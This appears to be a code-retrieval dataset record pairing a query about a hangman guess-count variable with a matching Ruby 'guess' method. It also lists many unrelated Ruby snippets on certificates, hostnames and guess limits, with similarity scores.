"def sign_certificate_for(host = [])\n hostnames = []\n hosts = host.is_a?(Array) ? host : [host]\n puppet_version = on(master, puppet('--version')).stdout.chomp\n hosts.each do |current_host|\n if [master, dashboard, database].include? current_host\n on current_host, puppet('agent -t'), acceptable_exit_codes: [0, 1, 2]\n\n if version_is_less(puppet_version, '5.99')\n on master, puppet(\"cert --allow-dns-alt-names sign #{current_host}\"), acceptable_exit_codes: [0, 24]\n else\n on master, \"puppetserver ca sign --certname #{current_host}\"\n end\n else\n hostnames << Regexp.escape(current_host.node_name)\n end\n end\n\n if hostnames.size < 1\n if version_is_less(puppet_version, '5.99')\n on master, puppet('cert --sign --all --allow-dns-alt-names'),\n acceptable_exit_codes: [0, 24]\n else\n on master, 'puppetserver ca sign --all', acceptable_exit_codes: [0, 24]\n end\n return\n end\n\n while hostnames.size > 0\n last_sleep = 0\n next_sleep = 1\n 11.times do |i|\n if i == 10\n fail_test(\"Failed to sign cert for #{hostnames}\")\n hostnames.clear\n end\n\n if version_is_less(puppet_version, '5.99')\n on master, puppet('cert --sign --all --allow-dns-alt-names'), acceptable_exit_codes: [0, 24]\n out = on(master, puppet('cert --list --all')).stdout\n if hostnames.all? { |hostname| out =~ /\\+ \"?#{hostname}\"?/ }\n hostnames.clear\n break\n end\n else\n on master, 'puppetserver ca sign --all', acceptable_exit_codes: [0, 24]\n out = on(master, 'puppetserver ca list --all').stdout\n if out !~ /.*Requested.*/ && hostnames.all? { |hostname| out =~ /\\b#{hostname}\\b/ }\n hostnames.clear\n break\n end\n end\n\n sleep next_sleep\n (last_sleep, next_sleep) = next_sleep, last_sleep + next_sleep\n end\n end\n host\n end",
"def list\n cert_list(certstore_handler)\n end",
"def parse_hostname(config)\n mdata = /(?<=^hostname\\s)(.+)$/.match(config)\n { hostname: mdata.nil? ? '' : mdata[1] }\n end",
"def configure(cert)\n req = signing_request\n cert.issuer = Billy.certificate_authority.cert.subject\n cert.not_before = days_ago(2)\n cert.not_after = days_from_now(2)\n cert.public_key = req.public_key\n cert.serial = serial\n cert.subject = req.subject\n cert.version = 2\n end",
"def createkey(hostname, pupmodule, pubfolder, prvfolder, subject, ca_key_file,\nca_crt_file, passphrase)\n return 'Already there' if\n File.exist?(\"#{pubfolder}/#{pupmodule}/#{hostname}.cert.pem\")\n ca_key = OpenSSL::PKey::RSA.new File.read(ca_key_file), passphrase\n ca_cert = OpenSSL::X509::Certificate.new File.read ca_crt_file\n c=SignedCertificate.new(ca_key, ca_cert, subject)\n FileUtils.mkdir_p \"#{pubfolder}/#{pupmodule}/\"\n FileUtils.mkdir_p \"#{prvfolder}/#{hostname}/#{pupmodule}/\"\n #open \"#{pubfolder}/#{pupmodule}/#{hostname}.pub.pem\", 'w' do\n #|io| io.write c.key.public_key.to_pem end\n #open \"#{pubfolder}/#{pupmodule}/#{hostname}.csr.pem\", 'w' do\n #|io| io.write c.csr.to_pem end\n open \"#{pubfolder}/#{pupmodule}/#{hostname}.cert.pem\", 'w' do\n |io| io.write c.cert.to_pem end\n open \"#{prvfolder}/#{hostname}/#{pupmodule}/#{hostname}.priv.pem\", 'w' do\n |io| io.write c.key.to_pem end\n 'OK'\nend",
"def register_cert(cert)\n request :post, '/certs', cert\n end",
"def cert_file\n write_file(\"request-#{domain}.crt\", cert.to_pem)\n end",
"def cert_path; end",
"def cert_path; end",
"def certificate; end",
"def certificate; end",
"def fqdn\n [ hostname, domain ].join('.') unless hostname.nil? and domain.nil?\n end",
"def prepare_info_conn_hash(info)\n info[:remote_web_srv_url] = @remote_web_url\n info[:connect_type] = @serv_conn_type\n \n info[:host_server] = @host_server\n info[:port_server] = @port_server\n info[:web_http] = @server_type_http \n info[:login_name] = @login_name\n info[:password_login_md5] = @password_login_md5\n info[:password_login] = @password_login\n info[:password_saved] = @password_saved\n end",
"def cert_params\n params[:cert]\n end",
"def certificate_details\n data[:certificate_details]\n end",
"def certification=(value)\n @certification = value\n end",
"def map_hostnames(hostnames)\n smart_map = Hash.new { |_, key| key }\n hostnames.each_with_object(smart_map) do |pair, hsh|\n (k, v) = pair.split(':')\n hsh[k] = v\n hsh\n end\n end",
"def cert_store; end",
"def cert_store; end",
"def create_intermediate_certificate(info = {})\n root_ca = info[:ca]\n root_key = info[:ca_key]\n\n key = OpenSSL::PKey::RSA.new(RSA_KEY_SIZE)\n\n cert = create_certificate_skeleton(info)\n cert.issuer = root_ca.subject # root CA is the issuer\n cert.public_key = key.public_key\n\n extensions = [\n ['basicConstraints', 'CA:TRUE', true],\n ['keyUsage', 'keyCertSign, cRLSign', true],\n AUTHORITY_INFO_ACCESS_EXTENSION,\n SUBJECT_INFO_ACCESS_EXTENSION,\n ['subjectKeyIdentifier', 'hash', false],\n ['authorityKeyIdentifier', 'keyid:always', false],\n ]\n\n if info[:policy_constraints]\n extensions << [\n 'policyConstraints',\n info[:policy_constraints].to_a.map { |kv| kv.join(':') }.join(','),\n true,\n ]\n end\n\n if info[:policy_mapping]\n extensions << [\n 'policyMappings',\n info[:policy_mapping].to_a.map { |kv| kv.join(':') }.join(','),\n true,\n ]\n end\n\n add_certificate_extensions(cert, root_ca, *extensions)\n cert.sign(root_key, OpenSSL::Digest::SHA256.new)\n [cert, key]\n end",
"def ssl\n if @options[\"ssl-gen-self-signed-certs\"]\n puts \"Generating private key and certificate\"\n args = [\n \"-C\", HOSTNAME,\n \"-n\", HOSTNAME,\n \"-o\", @options[\"ssl-organization\"],\n \"-u\", @options[\"ssl-organization-unit\"],\n \"-e\", @options[\"ssl-email\"],\n \"-c\", @options[\"ssl-country\"],\n \"-l\", @options[\"ssl-city\"],\n \"-s\", @options[\"ssl-state\"]\n ]\n Runner.exec(\"gensslcert\", args)\n end\n\n handle_own_certs @options[\"ssl-certs-dir\"].chomp \\\n unless @options[\"ssl-certs-dir\"].chomp.empty?\n\n key_file = \"/etc/apache2/ssl.key/#{HOSTNAME}-ca.key\"\n crt_file = \"/etc/apache2/ssl.crt/#{HOSTNAME}-ca.crt\"\n portus_key = \"/srv/Portus/config/server.key\"\n\n missing_file(key_file) unless File.exist?(key_file)\n missing_file(crt_file) unless File.exist?(crt_file)\n\n # Move key to portus dir, set permissions and create symlink\n # bsc#1022811\n FileUtils.cp(\n key_file,\n portus_key\n )\n FileUtils.chown(\"wwwrun\", \"www\", portus_key)\n FileUtils.chmod(0o440, portus_key)\n FileUtils.rm(key_file)\n FileUtils.ln_s(\n portus_key,\n key_file\n )\n\n FileUtils.cp(\n crt_file,\n \"/srv/www/htdocs\"\n )\n FileUtils.chmod(0o755, \"/srv/www/htdocs/#{HOSTNAME}-ca.crt\")\n FileUtils.cp(\n crt_file,\n \"/etc/pki/trust/anchors\"\n )\n Runner.exec(\"update-ca-certificates\")\n end",
"def run_host(ip)\r\n\r\n\t\tbegin\r\n\t\t\tssock = connect(false, {'SSL' => true})\r\n\t\t\tcert = OpenSSL::X509::Certificate.new(ssock.peer_cert)\r\n\t\t\tssock.close\r\n\r\n\t\t\tif(not cert)\t\r\n\t\t\t\tprint_status(\"#{ip} No certificate subject or CN found\")\r\n\t\t\t\treturn\r\n\t\t\tend\r\n\r\n\t\t\tissuer_pattern = Regexp.new(datastore['ISSUER'], Regexp::EXTENDED)\r\n\t\t\tsub = cert.subject.to_a\r\n\r\n\t\t\tbefore_d = \"#{cert.not_before}\".split\r\n\t\t\tbefore_t = before_d[3].split(\":\")\r\n\t\t\tafter_d = \"#{cert.not_after}\".split\r\n\t\t\tafter_t = after_d[3].split(\":\")\r\n\t\t\tbefore = Time.utc(before_d[5],before_d[1],before_d[2],before_t[0],before_t[1],before_t[3])\r\n\t\t\tafter = Time.utc(after_d[5],after_d[1],after_d[2],after_t[0],after_t[1],after_t[3])\r\n\r\n\t\t\tnow = Time.now\r\n\t\t\ta = now <=> before\r\n\t\t\tb = now <=> after\r\n\r\n\t\t\tvhostn = 'EMPTY' \r\n\t\t\tsub.each do |n|\r\n\t\t\t\tif n[0] == 'CN'\r\n\t\t\t\t\tvhostn = n[1]\r\n\t\t\t\tend\r\n\t\t\tend\r\n\r\n\t\t\tif ( not \"#{cert.issuer}\" =~ /#{issuer_pattern}/)\r\n\t\t\t\tprint_status(\"WARNING (Issuer): #{ip} / #{vhostn} : #{cert.issuer}\" )\r\n\t\t\tend\r\n\t\t\tprint_status(\"#{ip} / #{vhostn} Issuer: #{cert.issuer}\") if datastore['SHOWALL']\r\n\r\n\t\t\tif ( a < 1 or b > 0 )\r\n\t\t\t\tprint_status(\"WARNING (Expired): #{ip} / #{vhostn} : Cert is expired/invalid: Before: \" + before.to_s + \" After \" + after.to_s)\r\n\t\t\tend\r\n\t\t\tprint_status(\"#{ip} / #{vhostn} Before: \" + before.to_s + \" After: \" + after.to_s + \" Now: \" + now.to_s) if datastore['SHOWALL']\r\n\r\n\t\trescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout\r\n\t\trescue ::Timeout::Error, ::Errno::EPIPE\r\n\t\tend\r\n\tend",
"def keycert_files; end",
"def set_certificateinfo\n @certificateinfo = Certificateinfo.find(params[:id])\n end",
"def canonical\n dns_host_name\n end",
"def set_hostname(hostname: nil)\n if hostname.nil?\n puts (\"Please enter the full hostname of the machine.\\n\" +\n '(i.e. the part that would appear including the https:// ' +\n 'in a url but before any other slashes):').yellow\n print CONFIRM_PREFIX.yellow\n hostname = gets\n File.open(HOSTNAME_CFG_FILE, 'w') do |f|\n f.write hostname\n end\n end\nend",
"def certificate_list=(value)\n @certificate_list = value\n end",
"def passive\n\tm=[]\n\n\t# Extract certificate details\n\tif @body =~ /^-----BEGIN CERTIFICATE-----/ and @body =~ /^-----END CERTIFICATE-----/ and @body =~ /Public Key Algorithm:/ and @body =~ /Signature Algorithm:/ and @body =~ /Issuer:/\n\n\t\tm << { :name=>\"SSL Cert Text\" }\n\t\tm << { :string=>@body.scan(/Issuer:[\\s]*([^\\r^\\n]+)/)[0].to_s+\" (\"+@body.scan(/RSA Public Key:[\\s]*\\(([^\\)]+)\\)/).flatten.first+\") (\"+@body.scan(/^[\\s]+Not After : ([^\\r^\\n]+)/).flatten.first+\")\" } if @body =~ /Issuer:[\\s]*([^\\r^\\n]+)/ and @body =~ /RSA Public Key:[\\s]*\\(([^\\)]+)\\)/ and @body =~ /^[\\s]+Not After : ([^\\r^\\n]+)/\n\n\tend\n\n\t# Content type\n\tm << { :string=>\"x-x509-ca-cert\" } if @headers[\"Content-Type\"] =~ /^[\\s]*application\\/x-x509-ca-cert/\n\n\tm\n\nend",
"def certificate=(cert_metadata)\n if cert_metadata\n attributes[:certificate_valid_from] = time_or_original(cert_metadata[\"valid_from\"])\n attributes[:certificate_expires_at] = time_or_original(cert_metadata[\"expires_at\"])\n attributes[:certificate_issuer] = cert_metadata[\"issuer\"]\n attributes[:certificate_subject] = cert_metadata[\"subject\"]\n attributes[:certificate_enable_ssl3] = cert_metadata[\"sslv3\"]\n else\n attributes[:certificate_valid_from] = nil\n attributes[:certificate_expires_at] = nil\n attributes[:certificate_issuer] = nil\n attributes[:certificate_subject] = nil\n attributes[:certificate_enable_ssl3] = nil\n end\n end",
"def generate(socket, distinguished_name)\n attributes = {\n :type => :client,\n :subject => distinguished_name\n }\n keypair, certificate = server.depot.generate_keypair_and_certificate(attributes)\n socket.write keypair.private_key.to_s\n socket.write certificate.certificate.to_s\n end",
"def cert_store=(cert_store); end",
"def cert_store=(cert_store); end",
"def dns_host_name\n @dns_host_name ||= ::SimpleIDN.to_ascii(@host_name)\n end",
"def x509_certificate_string\n t=self.metadata_nokogiri.clone\n t.remove_namespaces!\n the_xpath = \"//KeyDescriptor/KeyInfo/X509Data/X509Certificate\"\n node = t.xpath(the_xpath)\n if node.blank?\n raise \"Could not extract X509Certificate from #{site.name}\"\n else\n node.inner_text\n end\n end",
"def test_autocertgeneration\n ca = nil\n\n # create our ca\n assert_nothing_raised {\n ca = Puppet::Network::Handler.ca.new(:autosign => true)\n }\n\n # create a cert with a fake name\n key = nil\n csr = nil\n cert = nil\n hostname = \"test.domain.com\"\n assert_nothing_raised {\n cert = Puppet::SSLCertificates::Certificate.new(\n :name => \"test.domain.com\"\n )\n }\n\n # make the request\n assert_nothing_raised {\n cert.mkcsr\n }\n\n # and get it signed\n certtext = nil\n cacerttext = nil\n assert_nothing_raised {\n certtext, cacerttext = ca.getcert(cert.csr.to_s)\n }\n\n # they should both be strings\n assert_instance_of(String, certtext)\n assert_instance_of(String, cacerttext)\n\n # and they should both be valid certs\n assert_nothing_raised {\n OpenSSL::X509::Certificate.new(certtext)\n }\n assert_nothing_raised {\n OpenSSL::X509::Certificate.new(cacerttext)\n }\n\n # and pull it again, just to make sure we're getting the same thing\n newtext = nil\n assert_nothing_raised {\n newtext, cacerttext = ca.getcert(\n cert.csr.to_s, \"test.reductivelabs.com\", \"127.0.0.1\"\n )\n }\n\n assert_equal(certtext,newtext)\n end",
"def hosts_entry\n \"#{@ip} #{name}\"\n end",
"def generate_application_certs(master, hosts, domain, skip_master = true)\n togen = []\n hosts.each do |host|\n next if (host['roles'].include?('master') and skip_master)\n\n fqdn = pfact_on(host, 'fqdn')\n if fqdn.include?('.')\n togen << fqdn\n else\n togen << host.hostname + '.' + domain\n end\n end\n\n create_remote_file(master, '/var/simp/environments/production/FakeCA/togen', togen.join(\"\\n\"))\n on(master, 'cd /var/simp/environments/production/FakeCA; ./gencerts_nopass.sh')\n end",
"def certificate_value(h)\n v = credential_authentication_inverso_issuer(h)\n h[:k] == \"seal\" && valid_keys.include?(\"certificate\") ? \"#{v} #{join_seal(h[:ver])}\" : v\n end",
"def certificateinfo_params\n params.require(:certificateinfo).permit(:do_you_have_blindness, :blindness_issued_dr_name, :place, :certificate_no, :certificate_date, :percent_blindness_stated, :do_you_know_braille, :member_id)\n end",
"def reverse_dns_delegation_entries(name_servers, opts = {})\n # Validation\n if version == 4 && cidr_obj.bits <= 24\n return \"Not supported: address block too larger (/24 or larger)\"\n end\n\n if version == 6 && cidr_obj.bits != 48\n return \"Not supported: address block not equal to /48\"\n end\n\n name_servers = [name_servers].flatten # Make into array\n\n entry = ''\n\n if version == 6\n third_part = cidr_obj.to_s(:Short => true).\\\n sub(/^([0-9a-f]+:){2}(.*)::\\/48$/i, '\\2')\n record = third_part.reverse.gsub(/(.)/, '\\1.').chop\n\n name_servers.each do |name_server|\n entry += \"#{record} IN NS #{name_server}.\\n\"\n end\n end\n\n if version == 4\n first = cidr_obj.first.sub(/^[0-9]+\\.[0-9]+\\.[0-9]+\\.([0-9]+)/, '\\1')\n last = cidr_obj.last.sub(/^[0-9]+\\.[0-9]+\\.[0-9]+\\.([0-9]+)/, '\\1')\n\n entry = \"; BEGIN: RFC 2317 sub-Class C delegation\\n\"\n entry += \";\\n\"\n\n first_time_in_loop = true\n name_servers.each do |name_server|\n if first_time_in_loop\n entry += \"#{first}-#{last}\\t\\tIN\\tNS\\t#{name_server}.\\n\"\n else\n entry += \"\\t\\tIN\\tNS\\t#{name_server}.\\n\"\n end\n\n first_time_in_loop = false\n end\n\n entry += \";\\n\"\n\n begin_at = first.to_i + 2\n end_at = last.to_i - 1\n\n (begin_at..end_at).each do |ip|\n entry += \"#{ip}\\t\\tIN\\tCNAME\\t#{ip}.#{rfc2317_zone_name}.\\n\"\n end\n\n entry += \";\\n\"\n entry += \"; END\\n\"\n end\n\n entry\n end",
"def new_email_default_domain\n system_domains = domains\n {\n default: system_domains[:default],\n domains: system_domains[:names].map{ |domain| domain[:domain_name] }\n }\n end",
"def extract_data(cfg)\n aliases = cfg.hostname.dup\n if aliases.is_a?(Array)\n hostname = aliases.shift\n else\n hostname = aliases.dup\n aliases = []\n end\n [hostname, aliases]\n end",
"def transform_params(params)\n params.each_with_object({}) do |(key, val), hsh|\n hsh[key] = case val\n when Array then val.map { |v| opts[:hostname_map][v] }\n when String then opts[:hostname_map][val]\n else val\n end\n hsh\n end\n end",
"def decode_hostname(hostname); end",
"def canonicalize_hostname(hostname)\n Addrinfo.getaddrinfo(hostname, nil, nil, nil, nil, Socket::AI_CANONNAME).first.canonname\n end",
"def save_certificate(certificate)\n if !ENV['DYNO'].nil?\n Rails.logger.info('You are running this script on Heroku, please copy-paste certificates to your local machine')\n Rails.logger.info('and then follow https://devcenter.heroku.com/articles/ssl-endpoint guide:')\n\n Rails.logger.info(\"====== #{CONFIG[:domain]}-cert.pem ======\")\n puts certificate.to_pem\n\n Rails.logger.info(\"====== #{CONFIG[:domain]}-key.pem ======\")\n puts certificate.request.private_key.to_pem\n\n Rails.logger.info(\"====== #{CONFIG[:domain]}-chain.pem ======\")\n puts certificate.chain_to_pem\n\n Rails.logger.info(\"====== #{CONFIG[:domain]}-fullchain.pem ======\")\n puts certificate.fullchain_to_pem\n\n elsif File.directory?(File.join(Rails.root, CONFIG[:output_cert_dir]))\n Rails.logger.info('Saving certificates and key...')\n File.write(File.join(Rails.root, CONFIG[:output_cert_dir], \"#{CONFIG[:domain]}-cert.pem\"), certificate.to_pem)\n File.write(File.join(Rails.root, CONFIG[:output_cert_dir], \"#{CONFIG[:domain]}-key.pem\"), certificate.request.private_key.to_pem)\n File.write(File.join(Rails.root, CONFIG[:output_cert_dir], \"#{CONFIG[:domain]}-chain.pem\"), certificate.chain_to_pem)\n File.write(File.join(Rails.root, CONFIG[:output_cert_dir], \"#{CONFIG[:domain]}-fullchain.pem\"), certificate.fullchain_to_pem)\n else\n Rails.logger.error(\"Output directory: '#{File.join(Rails.root, CONFIG[:output_cert_dir])}' does not exist!\")\n end\n end",
"def host\n attribute_part('subject', 'CN')\n end",
"def generate_signed_cert\n unless @generated_signed_cert\n domains = %w(example.org www.example.org)\n\n key = OpenSSL::PKey::RSA.new(LetsCert::TEST::KEY_LENGTH)\n cert = OpenSSL::X509::Certificate.new\n cert.version = 2\n cert.serial = 2\n cert.issuer = OpenSSL::X509::Name.parse \"/DC=letscert/CN=CA\"\n cert.public_key = key.public_key\n cert.not_before = Time.now\n # 20 days validity\n cert.not_after = cert.not_before + 20 * 24 * 60 * 60\n ef = OpenSSL::X509::ExtensionFactory.new\n ef.subject_certificate = cert\n domains.each do |domain|\n cert.add_extension(ef.create_extension('subjectAltName',\n \"DNS:#{domain}\",\n false))\n end\n cert.sign(ca_root_key, OpenSSL::Digest::SHA256.new)\n\n @generated_signed_cert = [cert, domains]\n end\n\n @generated_signed_cert\n end",
"def certificate(record)\n record.public_send(options[:certificate])\n end",
"def private_hostname_of(server)\n server[:fqdn]\n end"
] | [
"0.5406824",
"0.5148661",
"0.50500333",
"0.5033091",
"0.50141954",
"0.5010699",
"0.50072384",
"0.5003043",
"0.49615765",
"0.496073",
"0.49592632",
"0.49552926",
"0.49547872",
"0.49527764",
"0.4935965",
"0.49324802",
"0.48976794",
"0.48876724",
"0.4883321",
"0.4829508",
"0.4797666",
"0.4795883",
"0.47957695",
"0.47759202",
"0.4727079",
"0.47270292",
"0.4720935",
"0.47107667",
"0.46969435",
"0.46946222",
"0.4678989",
"0.4676415",
"0.46747681",
"0.46709424",
"0.46647626",
"0.46647626",
"0.46647626",
"0.4657204",
"0.46328545",
"0.46230304",
"0.46138877",
"0.4607022",
"0.4605701",
"0.45844874",
"0.45319834",
"0.4514936",
"0.4503208",
"0.4503167",
"0.448674",
"0.44856572",
"0.4440538",
"0.4437292",
"0.44341385",
"0.44247517",
"0.442033",
"0.4419635",
"0.44144425",
"0.44105363",
"0.44105363",
"0.4407633",
"0.4407633",
"0.44049007",
"0.4397867",
"0.43971846",
"0.4395984",
"0.4391534",
"0.43831572",
"0.43667915",
"0.43667915",
"0.43660352",
"0.43635094",
"0.43611106",
"0.43592665",
"0.43551722",
"0.43472362",
"0.43423668",
"0.43323863",
"0.4327111",
"0.4322437",
"0.431476",
"0.43124983",
"0.43124983",
"0.43020537",
"0.42936537",
"0.42863464",
"0.42850426",
"0.42833447",
"0.4277069",
"0.42725974",
"0.42692715",
"0.42666698",
"0.42661953",
"0.4264196",
"0.42568153",
"0.4256657",
"0.42541593",
"0.4235632",
"0.42314532",
"0.42302576",
"0.42292476"
] | 0.74490815 | 0 |
is a variable holding the number of guesses allowed by the game/client. If the requirements change, At any time this will allow us to change the maximum number of guesses. | def guess(rand_word)
puts "enter a letter"
letter = gets.chomp.downcase
display_word(rand_word,letter)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def guess_limit\n\t\tguesses \n\tend",
"def guess_count\n\t\t @number_of_guesses -= 1\n\tend",
"def set_attempts_amount\n max_number <= 10 ? 2 : 10\nend",
"def get_num_of_guesses\r\n return @numOfGuessesLeft\r\n end",
"def max_attempts_count\n @options[:max_attempts_count]\n end",
"def max_players\n config[:max_players].to_i\n end",
"def max_attempts\n 5\n end",
"def max_respawns\n @options['max_respawns'] ? @options['max_respawns'].to_i : 5\n end",
"def init_guess_count\n @guess_count = 12\n end",
"def update_guess_count\n @guess_count > 0 ? @guess_count -= 1 : @guess_count\n end",
"def suggestedNumber\r\n return self.maxLength\r\n end",
"def total_guess_count()\r\n\t\t# TODO: fill in method body\r\n\t\treturn -1\r\n\tend",
"def max_attempts\n 1\n end",
"def max_attempts\n 1\n end",
"def max_attempts\n @options[:max_attempts]\n end",
"def max_matches\n @max_matches || 1000\n end",
"def allowed_guesses\n blanks = @given_phrase.count(\"*\")\n if blanks <= 10\n @wrong_guesses = 3\n elsif (blanks >= 11) && (blanks <= 20)\n @wrong_guesses = 5\n else \n @wrong_guesses = 8\n end\n puts \"You are allowed #{@wrong_guesses} wrong guesses.\"\n @wrong_guesses\n end",
"def max_battle_members\n @max_battle_member_count ||= FormationConfig::DEFAULT_BATTLE_MEMBERS\n end",
"def team_player_count\n\t\tif team.players.size >= 5\n\t\t\terrors.add(:team, \"error, team already has 5 players\")\n\t\tend\n\tend",
"def max_attempts\n 1\n end",
"def max_attempts\n 1\n end",
"def max_attempts\n 1\n end",
"def retry_limit\n @retry_limit ||= backoff_strategy.length\n end",
"def limit_reached?\n @count >= @max\n end",
"def item_max\n $game_party.battle_members.size\n end",
"def number_of_items()\n print \"Please enter a number of items you're interested in seeing: \"\n number_of_items = gets.chomp\n number_of_items = confirm_a_number(number_of_items)\n count = 0\n while number_of_items > @fav_food.length\n count+=1\n print \"Please enter a value less than the size of the menu: \"\n puts \"You have #{@NUMBER_OF_ATTEMPTS-count+1} left\"\n number_of_items = gets.chomp\n number_of_items = confirm_a_number(number_of_items)\n if count >= @NUMBER_OF_ATTEMPTS\n puts \"You have exceeded the required amounts of guesses, default amount of values will be (5).\\n\"\n break\n end\n end\n return number_of_items\nend",
"def max_clients\n errors.add(:clients, \"has more than #{MAX_WAYPOINT} clients.\") if clients.size > MAX_WAYPOINT\n end",
"def pokemon_count_valid?\n if self.trainer.pokemons.count >= 6\n self.errors.add(:team_max, \"Hey, don't get crazy! The max number of pokemons is 6!\")\n end\n end",
"def set_max_games(max_games)\n @max_games = max_games\n end",
"def guesses_left\n @guesses_allowed - @current_guess_count\n end",
"def bad_guess_count()\r\n\t\t# TODO: fill in method body\r\n\t\treturn -1\r\n\tend",
"def max_player\n return 1\n end",
"def exceeded?(amount = 1)\n used + amount > max\n end",
"def check_max_allowed_admin_count\n total = Admin.not_deleted.where(default_client_id: @client_id).count\n\n return error_with_data(\n 'am_au_i_cmaac_1',\n 'total no of admins added has reached max limit',\n \"You can add only upto #{MAX_ADMINS} admins\",\n GlobalConstant::ErrorAction.default,\n {}\n ) if total.to_i >= MAX_ADMINS\n\n success\n end",
"def sendgrid_spamcheck_maxscore score\n @sg_spamcheck_score = score\n end",
"def item_max\n $game_party.members.size\n end",
"def item_max\n $game_party.members.size\n end",
"def item_max\r\n $game_party.members.size\r\n end",
"def max_retry\n 5\n end",
"def max_failed_count\n MAX_FAILED_COUNT\n end",
"def guesses_allowed\n\t\tif @word.length > 12 \n\t\t\t 8\n\t\telsif @word.length <= 12 && @word.length > 8\n\t\t\t 5\n\t\telse\n\t\t\t 4\n\t\tend\t\t\t\n\tend",
"def item_max\r\n $game_troop.alive_members.size\r\n end",
"def increment_guess_count(guesses_made)\n guesses_made = guesses_made + 1\nend",
"def guesses_left(int, max_guesses)\n max_guesses - int\nend",
"def use_guess\n @guesses -= 1\n end",
"def at_max_players?\n self.player_count == MAX_PLAYERS\n end",
"def increment_guess_count(current_guess_count)\n\tcurrent_guess_count += 1\nend",
"def attempting_times_left\n @times_left ||= begin\n return MAX_ATTEMPTING_TIMES unless question.actable.attempt_limit\n\n times = question.actable.attempt_limit - submission.evaluated_or_graded_answers(question).size\n times = 0 if times < 0\n times\n end\n end",
"def num_attempts\n @num_attempts\n end",
"def max_sets_to_play\n case scoring.to_sym\n when :two_six_game_ten_point\n 3\n when :one_eight_game\n 1\n else # :three_six_game\n 3\n end\n end",
"def initialize(guesses_allowed=3, set_of_numbers=10)\n @guesses_allowed = guesses_allowed #sets the number of guesses\n @current_guess_count = 0 #starts guess count at 0\n @player = Player.new #creates a new player\n @max_guess = set_of_numbers #i did this to keep track of the upper limit of the range of guesses\n @secret_number = SecretNumber.new(set_of_numbers)\n end",
"def guesses_left(current_guess_count)\n\t3 - current_guess_count\nend",
"def doGetMaxCountPerRequest()\n end",
"def maximum_of_two_players\n # TODO implement\n end",
"def guesses_left()\n \treturn ((@guesses_allowed - @current_guess_count)) \n end",
"def max_retries\n @max_retries ||= options[:max_retries] || seeds.size\n end",
"def reduce_max_times_if_no_more_registrations\n errors.add(:max_times, 'already has more registrations') if max_times_changed? && max_times < registrations.count && max_times != 0\n end",
"def maximum_limit\n 100\n end",
"def guess(max_number)\n number_of_guesses = 0\n correct_number = rand(max_number) + 1\n guess = 0\n puts \"I've picked a random number between 1 and #{max_number}.\\n\\n\"\n while (guess != correct_number)\n print \"What is your guess? \"\n guess = gets.chomp.to_i\n number_of_guesses += 1\n if (guess > correct_number)\n puts \"Too High!\"\n elsif (guess < correct_number)\n puts \"Too Low!\"\n else\n puts \"You got it in #{number_of_guesses} guesses. Good job!\"\n end\n end\nend",
"def set_needed_players(num_players=2)\n @needed_players = num_players\n end",
"def max_participants_reached?\n if max_participants_define?\n participants_size == max_participants\n else\n false\n end\n end",
"def beta_limit_reached?\n if User.count >= BETA_LIMIT\n errors[:base] << \"We do not accept more users at this time.\"\n end\n end",
"def calculate_limit(word)\n @guess_limit = (word.length * 2)\nend",
"def num_possible\n @possible\n end",
"def increment_guess_count\n @current_guess_count += 1\n end",
"def increment_guess_count\n @current_guess_count += 1\n end",
"def max_retries\n @max_retries ||= DEFAULT_MAX_RETRY_ATTEMPTS\n end",
"def doGetMaxCountPerRequest()\n return MAX_COUNT_PER_REQUEST\n end",
"def remaining\n max - used\n end",
"def too_many_rounds\n if self.rounds.count > 3\n errors.add(:rounds, \"there are too many rounds\")\n end\n end",
"def maximum_players?\n self.players.count == MAX_PLAYERS\n end",
"def sendgrid_spamcheck_maxscore score\n self.default_sg_spamcheck_score = score\n end",
"def increment_guess_count\n @current_guess_count += 1\n end",
"def limit_reached?\n end",
"def max_count\n multiple? ? (@schema['max_count'] || :unlimited) : nil\n end",
"def new_guess(tries)\n\tputs \"You have #{3-tries} more tries:\"\n\tgets\nend",
"def check_limit\n if user.pins.count >= user.pins_limit\n errors[:base] << \"Pins limit reached\"\n end\n end",
"def lost?\n @current_wrong_guesses == @max_wrong_guesses\n end",
"def increment_guess_count (guess_count)\n\treturn guess_count += 1\nend",
"def max_candidates\n return @max_candidates\n end",
"def assign_score_limit; end",
"def guesses_left\n @guesses_left = @guesses_allowed - @current_guess_count\n end",
"def item_max() SES::Bestiary.get_enemy_list.size end",
"def check_if_lost\n\t\tif @guess_count == @number_guess + 1\n\t\t\t@game_over = 2\n\t\tend\n\t\t@game_over\n\tend",
"def define_size_of_menu (max_valid)\n print \"How many itens would you like to see on your menu? \"\n num_of_itens = gets.chomp.to_i\n while num_of_itens < 1 || num_of_itens > max_valid\n puts \"Number invalid. Please choose from 1 to #{max_valid} itens \"\n print \"So how many itens would you like to see on your menu? \"\n num_of_itens = gets.chomp.to_i\n end\n return num_of_itens\nend",
"def check_maximum_in_contest\n if self.contest.blank?\n if ContestAttachment.where(contest_attachment_group_id: self.contest_attachment_group_id).count >= MAXIMUM_IN_CONTEST\n errors.add(:maximum, I18n.t('contest_attachment.create.error.maximum_reached', maximum: MAXIMUM_IN_CONTEST))\n end\n else\n if self.contest.attachments.count >= MAXIMUM_IN_CONTEST\n errors.add(:maximum, I18n.t('contest_attachment.create.error.maximum_reached', maximum: MAXIMUM_IN_CONTEST))\n end\n end\n end",
"def wrong_count()\n $game_won == true ? 11 : $wrong_count.length # if the user won use 11, otherwise use the number of wrong letters\nend",
"def guess_round(driver)\n driver.team_matches_hash.values.map(&:length).max || 0\n end",
"def get_max_interactions\n return @snps.length-1\n end",
"def last_peer_count\n\t\t\t@last_peer_count ||= 50\n\t\tend",
"def validate_api_call_count\n if outbound_request?\n data = $redis.get(\"api_call_count_for_#{from}\")\n errors.add(:base, message: \"limit reached for from #{from}\") if data && JSON.parse(data)['count'] > 50\n end\n end",
"def guesses_left\n\t\t@guesses -= 1\n\t\tguesses \n\tend",
"def highest_match_count\n match_count = Hash.new(0)\n\n @hand.each { |dice| match_count[dice] += 1 }\n\n match_count.values.max\n end",
"def lose?\n\t\t@wrong_guesses.length == 6\n\tend",
"def number_of_conflicts\n p (1.0-self.fitness) * $time_slots.size * $classes_array.size\n ((1.0-self.fitness) * $time_slots.size * $classes_array.size).round.to_i\n end",
"def increment_guess_count(count)\n\treturn count += 1\nend",
